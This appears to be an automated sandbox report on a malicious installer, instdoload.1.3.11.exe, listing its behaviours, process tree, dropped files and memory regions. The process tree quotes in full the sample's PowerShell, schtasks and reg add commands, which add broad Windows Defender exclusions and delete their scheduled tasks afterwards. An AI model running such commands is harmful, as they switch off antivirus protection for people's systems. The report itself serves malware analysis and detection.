Analysis

  • max time kernel
    151s
  • max time network
    120s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    01/10/2026, 17:42

General

  • Target
    instdoload.1.3.11.exe
  • Size 38.8MB
  • Sample261001-v97eaaxsew
  • SHA256 008a6eb91d76e0bd98fd0e085a319d6fa6a8898f0bae98540b0224f0986bd083
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 8 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Enumerates connected drives 3 TTPs 1 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 4 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of WriteProcessMemory 25 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\instdoload.1.3.11.exe
    "C:\Users\Admin\AppData\Local\Temp\instdoload.1.3.11.exe"
    1⤵
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    PID:5852
  • C:\Users\Public\1iuqfw\bTTyfm.exe
    "C:\Users\Public\1iuqfw\bTTyfm.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:1440
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Enumerates connected drives
      • Suspicious use of AdjustPrivilegeToken
      PID:3428
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\1iuqfw\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:4676
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\1iuqfw\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:6124
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:4600
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:5912
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:2952
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:5144
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:1552
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:5892
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:6016
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:5064
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:4704
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:4780
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:4860
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:3700
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:1828
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:2508
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      • Suspicious use of WriteProcessMemory
                      PID:1236
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:5992
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:2384
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:4420
                      • C:\Users\Public\1iuqfw\bTTyfm.exe
                        "C:\Users\Public\1iuqfw\bTTyfm.exe"
                        1⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        PID:5824
                      • C:\Windows\system32\cmd.exe
                        "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\1iuqfw" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:2448
                        • C:\Windows\System32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\1iuqfw" /t REG_DWORD /d 0 /f
                          2⤵
                          • Windows security bypass
                          PID:5524
                      • C:\Windows\system32\cmd.exe
                        cmd.exe
                        1⤵
                          PID:1988
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:3424
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:2200
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:4480
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:6012
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:472
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:1452

                        Network

                              MITRE ATT&CK Enterprise v16

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                              • Size 1KB
                              • SHA256 911ee1ef85e406c66a9636b4632abb2f492677fac3026526bea78228ede8f6e7
                              • MD5 SHA1 SHA512 TLSH

                              B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                              • Size 1KB
                              • SHA256 becfc31d2cb72eb3b3dd6e9b6e79f9d3c9adfb20361323986f37822440217853
                              • MD5 SHA1 SHA512 TLSH

                              0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                              • Size 512B
                              • SHA256 f99da9061a945f6fe0868eac770a5f0e184681902b6922038da62b90aa2c6b3e
                              • MD5 SHA1 SHA512 TLSH

                              B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                              • Size 506B
                              • SHA256 feff5e424d7824378c9b1b9d6a2e64937aa1eb185f6ebc71ac49c0113956de5e
                              • MD5 SHA1 SHA512 TLSH

                              __PSScriptPolicyTest_1nwqi0kr.sb4.psm1

                              • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1nwqi0kr.sb4.psm1
                              • Size 60B
                              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                              • MD5 SHA1 SHA512 TLSH

                              UxEnhance64.dll

                              • Path C:\Users\Public\1iuqfw\UxEnhance64.dll
                              • Size 3.1MB
                              • SHA256 7162b44a7aaed6e87a73f45b8775c9d5a1490b44172fbcdc27d7789d06e267b6
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              adoresd.dat

                              • Path C:\Users\Public\1iuqfw\adoresd.dat
                              • Size 4.7MB
                              • SHA256 8171baa609f3c2a25bd6bc6ae262ccdac4cd486d1d34a2998623e0b628b19f08
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              bTTyfm.exe

                              • Path C:\Users\Public\1iuqfw\bTTyfm.exe
                              • Size 135KB
                              • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              msadox.tb

                              • Path C:\Users\Public\1iuqfw\msadox.tb
                              • Size 8KB
                              • SHA256 94769727683291722c0e9d1c2b50148a807d66c543e4dd2e7aadf4e7d4940dc3
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              memory/1440-530-0x00007FF967090000-0x00007FF967092000-memory.dmp

                              memory/1440-556-0x000001E431EA0000-0x000001E431EEE000-memory.dmp

                              memory/1440-567-0x000001E432980000-0x000001E433207000-memory.dmp

                              memory/1440-536-0x000001E432980000-0x000001E433207000-memory.dmp

                              memory/1440-538-0x00007FF9670A0000-0x00007FF9670A2000-memory.dmp

                              memory/1440-539-0x000001E432980000-0x000001E433207000-memory.dmp

                              memory/1440-543-0x000001E432980000-0x000001E433207000-memory.dmp

                              memory/1440-544-0x000001E432980000-0x000001E433207000-memory.dmp

                              memory/1440-546-0x000001E432980000-0x000001E433207000-memory.dmp

                              memory/1440-545-0x000001E432980000-0x000001E433207000-memory.dmp

                              memory/1440-550-0x000001E432980000-0x000001E433207000-memory.dmp

                              memory/1440-531-0x00007FF946910000-0x00007FF946E2E000-memory.dmp

                              memory/1440-559-0x000001E433210000-0x000001E43329A000-memory.dmp

                              memory/1440-560-0x000001E433210000-0x000001E43329A000-memory.dmp

                              memory/1440-557-0x000001E433210000-0x000001E43329A000-memory.dmp

                              memory/1440-558-0x000001E433210000-0x000001E43329A000-memory.dmp

                              memory/1440-564-0x000001E432980000-0x000001E433207000-memory.dmp

                              memory/1440-566-0x000001E432980000-0x000001E433207000-memory.dmp

                              memory/3428-606-0x00000214CC910000-0x00000214CC91A000-memory.dmp

                              memory/3428-605-0x00000214CCB40000-0x00000214CCBF2000-memory.dmp

                              memory/3428-604-0x00000214CCB20000-0x00000214CCB3E000-memory.dmp

                              memory/3428-601-0x00000214CC890000-0x00000214CC8B2000-memory.dmp

                              memory/5824-588-0x00000289F0080000-0x00000289F0907000-memory.dmp

                              memory/5824-589-0x00000289F0080000-0x00000289F0907000-memory.dmp

                              memory/5824-573-0x00007FF946910000-0x00007FF946E2E000-memory.dmp

                              memory/5824-576-0x00000289F0080000-0x00000289F0907000-memory.dmp

                              memory/5824-583-0x00000289F0080000-0x00000289F0907000-memory.dmp

                              memory/5824-587-0x00000289F0080000-0x00000289F0907000-memory.dmp

                              memory/5824-591-0x00007FF967090000-0x00007FF967092000-memory.dmp

                              memory/5824-582-0x00007FF9670A0000-0x00007FF9670A2000-memory.dmp

                              memory/5824-590-0x00000289F0080000-0x00000289F0907000-memory.dmp

                              memory/5852-504-0x00007FF95EE60000-0x00007FF95EE72000-memory.dmp

                              memory/5852-2-0x00000000008C0000-0x00000000008CC000-memory.dmp

                              memory/5852-525-0x00007FF95EE60000-0x00007FF95EE72000-memory.dmp

                              memory/5852-1-0x0000000000490000-0x000000000049E000-memory.dmp

                              memory/5852-524-0x0000000000490000-0x000000000049E000-memory.dmp

                              memory/5852-0-0x0000000000490000-0x000000000049E000-memory.dmp